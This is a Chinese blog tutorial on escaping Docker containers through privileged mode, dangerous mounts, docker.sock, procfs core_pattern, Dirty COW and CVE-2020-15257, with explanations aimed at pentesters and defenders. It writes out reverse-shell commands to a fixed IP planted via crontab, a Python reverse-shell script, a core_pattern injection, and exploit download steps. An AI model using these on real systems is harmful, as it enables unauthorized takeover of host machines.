当前位置: 首页 > news >正文

关于Docker逃逸

关于Docker逃逸


文章目录

  • 关于Docker逃逸
  • 前言
  • 一、判断是否为docker容器?
  • 二、privileged特权模式启动容器逃逸
  • 三、 Docker Remote API未授权访问逃逸
  • 四、危险挂载导致Docker逃逸
  • 五、危险挂载Docker Socket逃逸
  • 六、 挂载宿主机procfs逃逸
  • 七、脏牛漏洞来进行docker逃逸
  • 八、CVE-2020-15257逃逸
  • 总结


前言

Dcoker作为开源容器引擎,作为一种操作系统级别虚拟化技术,已经被广泛应用于比赛,生产测试环境中,究其原因是Docker解决了环境部署复杂的问题,使应用程序能够进行打包,那么在渗透中,docker逃逸也必不可少。


一、判断是否为docker容器?

  1. 直接查看目录是否有docker产生的.dockerenv,dockerpoint等文件
    在这里插入图片描述

  2. 查看/proc/self/cgroup是否出现docker标志
    file

  3. 查看是否存在/etc/machine-id,一般docker没有
    file

二、privileged特权模式启动容器逃逸

  1. 当利用特权模式启动容器时,docker管理员可以通过mount命令将外部宿主机的磁盘设备挂载进容器内,获取宿主机的文件读写权限,然后可以通过crontab计划等逃逸到宿主机。

  2. 判断是否特全模式启动

cat /proc/self/status |grep Cap,对应掩码为0000003fffffffff

在这里插入图片描述

  1. 在docker中创建目录,然后将宿主机的磁盘挂载到新建的目录中
    file
  2. 将反弹shell等写入计划任务
echo "bash -i >& /dev/tcp/120.79.29.170/4444 0>&1" >/aiwin/aiwin.sh
echo "* * * * * root bash /aiwin.sh" >> /aiwin/etc/crontab

在这里插入图片描述

  1. 反弹shell成功
    在这里插入图片描述
    file

原理十分简单,特权模式使得宿主机磁盘被挂载到了docker的目录,修改docker目录中的/etc/crontab相当于修改了宿主机的/etc/crontab

三、 Docker Remote API未授权访问逃逸

  1. docker swarm用于管理Docker集群,docker节点上会开放一个TCP端口2375,默认绑定0.0.0.0,导致了任何人都开源访问,进而控制docker环境。
  2. 使用vulhub的漏洞环境
cd vulhub-master/docker/unauthorized-rce
docker-compose build
docker-compose up -d

这里启动不成功,不知道为什么,但是原理就是通过docker利用tcp连接访问2375端口,然后从2375端口中拉取镜像,再利用特权模式启动,最后再通过特权模式写shell进入宿主机,进而完成逃逸,主要原因是2375管理端口能被任何人使用。

四、危险挂载导致Docker逃逸

这里的危险挂载指的是将宿主机的根目录挂载进了docker机中,使得docker能够直接操作宿主机的文件,导致逃逸,跟特权模式原理相似。

docker run -itd -v /:/aiwin name /bin/bash

file

  1. docker机的aiwin目录就是宿主机的根目录
    在这里插入图片描述

  2. 直接修改/etc/crontab文件写入反弹shell
    在这里插入图片描述

  3. 反弹shell成功
    file

五、危险挂载Docker Socket逃逸

Docker采用的是C/S架构即客户端服务端格式,可以通过以下命令操作目标的docker。
unix:///var/run/docker.sock
tcp://host:port
fd://socketfd
造成逃逸的原因是将宿主机的/var/run/docker.sock文件挂载到docker容器中,导致docker容器中可以操作宿主机的docker,进而能新创建docker从而将根目录挂载到新创建的docker中造成逃逸。

  1. 将/var/run/docker.sock挂载到docker容器中,此时docker容器中会出现/run/docker.sock文件
docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:16.04 /bin/bash
  1. 在docker容器中安装docker
    在这里插入图片描述
apt-get update
apt-get install docker.io
  1. 在docker容器中使用命令查看宿主机的docker镜像
docker -H unix://var/run/docker.sock images 

file

  1. 在docker容器中使用命令再允许一个docker容器,并将根目录挂载到docker容器目录中,写shell到定时计划
docker -H unix://var/run/docker.sock run -v /:/aiwin -it ubuntu:16.04 /bin/bash

file
5. 写shell与上面一样

六、 挂载宿主机procfs逃逸

procfs中/proc/sys/kernel/core_pattern负责配置进程崩溃时内存转储数据的导出方式,当文件中首字符是管道符|,该行剩余内容被当作脚本解释执行,从而实现docker逃逸,触发条件是进程崩溃。

  1. 启动容器,将/proc/sys/kernel/core_pattern挂载进容器,如果找到两个core_pattern,那么可能就是挂载了宿主机的procfs
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern 
  1. 搜索docker容器在宿主机的绝对路径,workdir即是
    file
  2. python脚本反弹shell
import  os
import pty
import socket
lhost = "120.79.29.170"
lport = 4444
def main():s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((lhost, lport))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.putenv("HISTFILE", '/dev/null')pty.spawn("/bin/bash")s.close()
if __name__ == "__main__":main()
  1. 修改/host/proc/sys/kernel/core_pattern从而修改掉/proc/sys/kernel/core_pattern文件,以管道符开头,使得python脚本被执行
chmod 777 /tmp/.t.py
echo -e "|/绝对路径/merged/脚本位置 \rcore    " >  /host/proc/sys/kernel/core_pattern

file
5. 创建使容器崩溃的程序,编译运行,反弹shell成功。


#include<stdio.h>
int main(void)  {int *a  = NULL;*a = 1;return 0;
}

简单的NULL陷阱,没有为a开辟内存又给a赋值,使得程序崩溃。
file
在这里插入图片描述

七、脏牛漏洞来进行docker逃逸

  1. 脏牛漏洞的成因是get_user_page内核函数在处理Copy-on-Write过程时,可能产生竞态条件,导致出现了能够写数据到进程空间只读内存区域的机会。

  2. linux中存在VDSO小型共享库,能将内核自动映射到用户程序的地址空间,即将内核函数映射到内存。

  3. 当linux存在脏牛漏洞时,我们可以利用脏牛漏洞获取到内存的写权限,便可以写入shellcode到VDSO中,使得调用正常函数时执行shellcode,进而反弹shell,从而实现dokcer逃逸。

  4. 拉取Ubuntu14.04.5版本进行复现,存在脏牛漏洞

git clone https://github.com/scumjr/dirtycow-vdso.git
cd /dirtycow-vdso/
make

file
5. 执行文件反弹shell,这里虽然显示失败了,但是反弹shell却成功了
file
在这里插入图片描述

八、CVE-2020-15257逃逸

在host模式下启动时,容器和host共享一套Network,且内部UID为0时,使得容器中的程序可以访问宿主的 containerd 控制API,导致逃逸。
影响版本
containerd < 1.4.3
containerd < 1.3.9

  1. 下载指定的docker版本,使用–neit=host启动镜像
docker pull ubuntu:18.04
docker run -itd --net=host ubuntu:18.04 /bin/bash
docker exec -it 5be3ed60f152 /bin/bash
  1. 使用wget下载exp并解压
cd /tmp
wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz
  1. 执行exp即可反弹shell
    在这里插入图片描述

总结

总的来说,docker逃逸大部分原因都是配置出现的错误,导致能够在docker机里面直接修改宿主机的一些文件,包括挂载了socket、procfs、/等,只有少部分是由于内核漏洞导致的,所以处理好配置问题,docker逃逸应该挺难。

参考文章

相关文章:

关于Docker逃逸

关于Docker逃逸 文章目录关于Docker逃逸前言一、判断是否为docker容器&#xff1f;二、privileged特权模式启动容器逃逸三、 Docker Remote API未授权访问逃逸四、危险挂载导致Docker逃逸五、危险挂载Docker Socket逃逸六、 挂载宿主机procfs逃逸七、脏牛漏洞来进行docker逃逸八…...

@Autowired和@Resource区别

Autowired和Resource到底有什么区别 Autowired 和 Resource 都是用来实现依赖注入的注解&#xff08;在 Spring/Spring Boot 项目中&#xff09;&#xff0c;但二者却有着 5 点不同&#xff1a; 来源不同&#xff1a;Autowired 来自 Spring 框架&#xff0c;而 Resource 来自…...

动态内存管理详细讲解

目录 1.为什么存在动态内存分配 2. 动态内存函数的介绍 2.1 malloc和free 2.2 calloc 2.3 realloc 今天要和大家分享的内容是的动态内存管理&#xff0c;我们先从他的定义入手学习。 1.为什么存在动态内存分配 我们到现在已经掌握了内存开辟的方式就是要么创建一个变量…...

Python和Excel的完美结合:常用操作汇总(案例详析)

在以前&#xff0c;商业分析对应的英文单词是Business Analysis&#xff0c;大家用的分析工具是Excel&#xff0c;后来数据量大了&#xff0c;Excel应付不过来了&#xff08;Excel最大支持行数为1048576行&#xff09;&#xff0c;人们开始转向python和R这样的分析工具了&#…...

卡特兰数、斯特林数基础

卡特兰数 从格点(0,0)(0,0)(0,0)走到格点(n,n)(n,n)(n,n)&#xff0c;只能向右或向上走&#xff0c;不能穿过对角线&#xff0c;的路径的条数&#xff0c;称为卡特兰数HnH_nHn​。 则有H01H_01H0​1。 通项公式&#xff1a; Hn(2nn)−(2nn−1)H_n\begin{pmatrix} 2n\\ n \en…...

STL——mapmultimap和setmultiset

一、关联式容器 与序列式容器相同&#xff0c;关联式容器也是用于存储数据的&#xff0c;不同的是&#xff0c;关联式容器里存储的是<key, value>结构的键值对&#xff0c;在数据检索时比序列式容器效率更高。 二、键值对 用来表示具有一一对应的一种结构&#xff0c;该…...

2023热门抖音权重查询小程序源码

2023热门抖音权重查询小程序源码 跟抖音上很火的一模一样&#xff0c;小程序适配优化。接口免费。小程序不是网页 修改教程: 1&#xff0c;如果想修改或者去除水印&#xff0c;直接删除或修改“index.html”12&#xff5e;22行 2&#xff0c;如果想修改logo&#xff0c;直接…...

153.网络安全渗透测试—[Cobalt Strike系列]—[生成hta/exe/宏后门]

我认为&#xff0c;无论是学习安全还是从事安全的人多多少少都会有些许的情怀和使命感&#xff01;&#xff01;&#xff01; 文章目录一、后门简介1、hta后门2、exe后门3、宏病毒后门二、生成后门并测试0、测试环境1、生成hta后门并测试2、生成exe后门并测试3、生成宏病毒后门…...

如何成为优秀的程序员

崔宝秋&#xff0c;现任小米首席架构师、小米云平台负责人。1995年赴美留学&#xff0c;纽约州立大学石溪分校计算机科学系博士毕业&#xff0c;曾任IBM高级工程师和高级研发经理、雅虎搜索技术核心团队主任工程师、LinkedIn主任工程师&#xff0c;2012年回国加入小米科技。 20…...

多线程(四):线程安全

在开始讲解线程安全之前我们先来回顾一下我们学了那些东西了&#xff1a; 1. 线程和进程的认识 2. Thread 类的基本用法 3. 简单认识线程状态 4. 初见线程安全 上一章结束时看了一眼线程安全问题&#xff0c;本章将针对这个重点讲解。 一个代码在单线程中能够安全执行&am…...

[ROC-RK3568-PC] [Firefly-Android] 10min带你了解Camera的使用

&#x1f347; 博主主页&#xff1a; 【Systemcall小酒屋】&#x1f347; 博主追寻&#xff1a;热衷于用简单的案例讲述复杂的技术&#xff0c;“假传万卷书&#xff0c;真传一案例”&#xff0c;这是林群院士说过的一句话&#xff0c;另外“成就是最好的老师”&#xff0c;技术…...

C++之模拟实现string

文章目录前言一、包含的相关头文件二、构造和析构1.构造函数2.拷贝构造1.传统写法2.现代写法3.赋值运算符重载1.传统写法2.现代写法4.析构函数三、iterator四、modify1.push_back(尾插一个字符&#xff09;2.append&#xff08;尾插一个字符串&#xff09;3.运算符重载1.尾插字…...

SpringBoot实战(十三)集成 Admin

目录一、简介二、搭建 springboot-admin 管理服务1.Maven 依赖2.application.yml3.添加 EnableAdminServer4.启动服务&#xff0c;查看页面三、搭建 springboot-admin-client 客户端服务1.Maven 依赖2.application.yml3.启动服务&#xff0c;查看页面四、搭配 Eureka 使用1.搭建…...

mke2fs命令:建立ext2文件系统

以下内容源于网络资源的学习与整理&#xff0c;如有侵权请告知删除。 使用格式 mke2fs [options] [设备名称] [区块数] options与含义 -c&#xff1a;检查是否有损坏的区块。-F&#xff1a;不管指定的设备为何&#xff0c;强制执行mke2fs。-M&#xff1a;记录最后一次挂入的…...

免费分享一个springboot+vue的办公系统

springbootvue的OA系统项目介绍项目部署项目特点项目展示项目介绍 这是一个采用前后端分离开发的项目&#xff0c;前端采用 Vue 开发、后端采用 SpringBoot Mybatis 开发。 很适合java初学者练手和学习。 前端技术&#xff1a;Vue3.2 Vue-Router Pinia Ant Design Vue 3.X…...

STM32数据搬运工DMA

DMA的概念DMA&#xff0c;全称为&#xff1a;Direct Memory Access&#xff0c;即直接存储器访问。DMA 传输方式无需 CPU 直接控制传输&#xff0c;也没有中断处理方式那样保留现场和恢复现场的过程&#xff0c;通过硬件为 RAM 与 I/O 设备开辟一条直接传送数据的通路&#xff…...

4、操作系统——进程间通信(2)(system V-IPC介绍)

目录 一、system V-IPC常识 1、key和ID 2、文件描述符 3、函数&#xff08;ftok&#xff09; ftok产生IPC对象的健值key&#xff08;类似文件路径&#xff09; 4、例子 5、使用命令查看或删除当前系统中的IPC对象 一、system V-IPC常识 1、key和ID &#xff08;1&#x…...

基于CentOS Stream 9平台搭建Nacos2.0.4集群以及OpenResty反向代理

目录展示Nacos2.0.4集群搭建1. 下载2. 解压3.修改配置3.1分别修改下启动类中JDK路径以及启动大小3.2 分别配置数据源3.3 创建nacos数据库3.4 修改cluster.conf配置3.4.1 复制并修改3.4.2 编辑文件&#xff0c;修改三台主机地址3.4.3 分别放入另外两个nacos的conf目录下:4. 启动…...

老杜MySQL入门基础 第二天

导入演示数据 1、连接MySQL 2、创建"bjpowernode"数据库 create database bjpowernode;3、选择数据库 use bjpowernode4、导入数据 source D&#xff1a;\bjpowernode.sql(文件的路径)1 去除重复记录(把查询结果去除重复记录)(原表数据不会改变) 使用关键字dist…...

Python深度学习实战:人脸关键点(15点)检测pytorch实现

引言 人脸关键点检测即对人类面部若干个点位置进行检测&#xff0c;可以通过这些点的变化来实现许多功能&#xff0c;该技术可以应用到很多领域&#xff0c;例如捕捉人脸的关键点&#xff0c;然后驱动动画人物做相同的面部表情&#xff1b;识别人脸的面部表情&#xff0c;让机…...

网络编程(Modbus进阶)

思维导图 Modbus RTU&#xff08;先学一点理论&#xff09; 概念 Modbus RTU 是工业自动化领域 最广泛应用的串行通信协议&#xff0c;由 Modicon 公司&#xff08;现施耐德电气&#xff09;于 1979 年推出。它以 高效率、强健性、易实现的特点成为工业控制系统的通信标准。 包…...

React Native在HarmonyOS 5.0阅读类应用开发中的实践

一、技术选型背景 随着HarmonyOS 5.0对Web兼容层的增强&#xff0c;React Native作为跨平台框架可通过重新编译ArkTS组件实现85%以上的代码复用率。阅读类应用具有UI复杂度低、数据流清晰的特点。 二、核心实现方案 1. 环境配置 &#xff08;1&#xff09;使用React Native…...

【python异步多线程】异步多线程爬虫代码示例

claude生成的python多线程、异步代码示例&#xff0c;模拟20个网页的爬取&#xff0c;每个网页假设要0.5-2秒完成。 代码 Python多线程爬虫教程 核心概念 多线程&#xff1a;允许程序同时执行多个任务&#xff0c;提高IO密集型任务&#xff08;如网络请求&#xff09;的效率…...

什么?连接服务器也能可视化显示界面?:基于X11 Forwarding + CentOS + MobaXterm实战指南

文章目录 什么是X11?环境准备实战步骤1️⃣ 服务器端配置(CentOS)2️⃣ 客户端配置(MobaXterm)3️⃣ 验证X11 Forwarding4️⃣ 运行自定义GUI程序(Python示例)5️⃣ 成功效果![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/55aefaea8a9f477e86d065227851fe3d.pn…...

【开发技术】.Net使用FFmpeg视频特定帧上绘制内容

目录 一、目的 二、解决方案 2.1 什么是FFmpeg 2.2 FFmpeg主要功能 2.3 使用Xabe.FFmpeg调用FFmpeg功能 2.4 使用 FFmpeg 的 drawbox 滤镜来绘制 ROI 三、总结 一、目的 当前市场上有很多目标检测智能识别的相关算法&#xff0c;当前调用一个医疗行业的AI识别算法后返回…...

Linux C语言网络编程详细入门教程:如何一步步实现TCP服务端与客户端通信

文章目录 Linux C语言网络编程详细入门教程&#xff1a;如何一步步实现TCP服务端与客户端通信前言一、网络通信基础概念二、服务端与客户端的完整流程图解三、每一步的详细讲解和代码示例1. 创建Socket&#xff08;服务端和客户端都要&#xff09;2. 绑定本地地址和端口&#x…...

SiFli 52把Imagie图片,Font字体资源放在指定位置,编译成指定img.bin和font.bin的问题

分区配置 (ptab.json) img 属性介绍&#xff1a; img 属性指定分区存放的 image 名称&#xff0c;指定的 image 名称必须是当前工程生成的 binary 。 如果 binary 有多个文件&#xff0c;则以 proj_name:binary_name 格式指定文件名&#xff0c; proj_name 为工程 名&…...

C++.OpenGL (14/64)多光源(Multiple Lights)

多光源(Multiple Lights) 多光源渲染技术概览 #mermaid-svg-3L5e5gGn76TNh7Lq {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-3L5e5gGn76TNh7Lq .error-icon{fill:#552222;}#mermaid-svg-3L5e5gGn76TNh7Lq .erro…...

Kafka入门-生产者

生产者 生产者发送流程&#xff1a; 延迟时间为0ms时&#xff0c;也就意味着每当有数据就会直接发送 异步发送API 异步发送和同步发送的不同在于&#xff1a;异步发送不需要等待结果&#xff0c;同步发送必须等待结果才能进行下一步发送。 普通异步发送 首先导入所需的k…...

代码规范和架构【立芯理论一】(2025.06.08)

1、代码规范的目标 代码简洁精炼、美观&#xff0c;可持续性好高效率高复用&#xff0c;可移植性好高内聚&#xff0c;低耦合没有冗余规范性&#xff0c;代码有规可循&#xff0c;可以看出自己当时的思考过程特殊排版&#xff0c;特殊语法&#xff0c;特殊指令&#xff0c;必须…...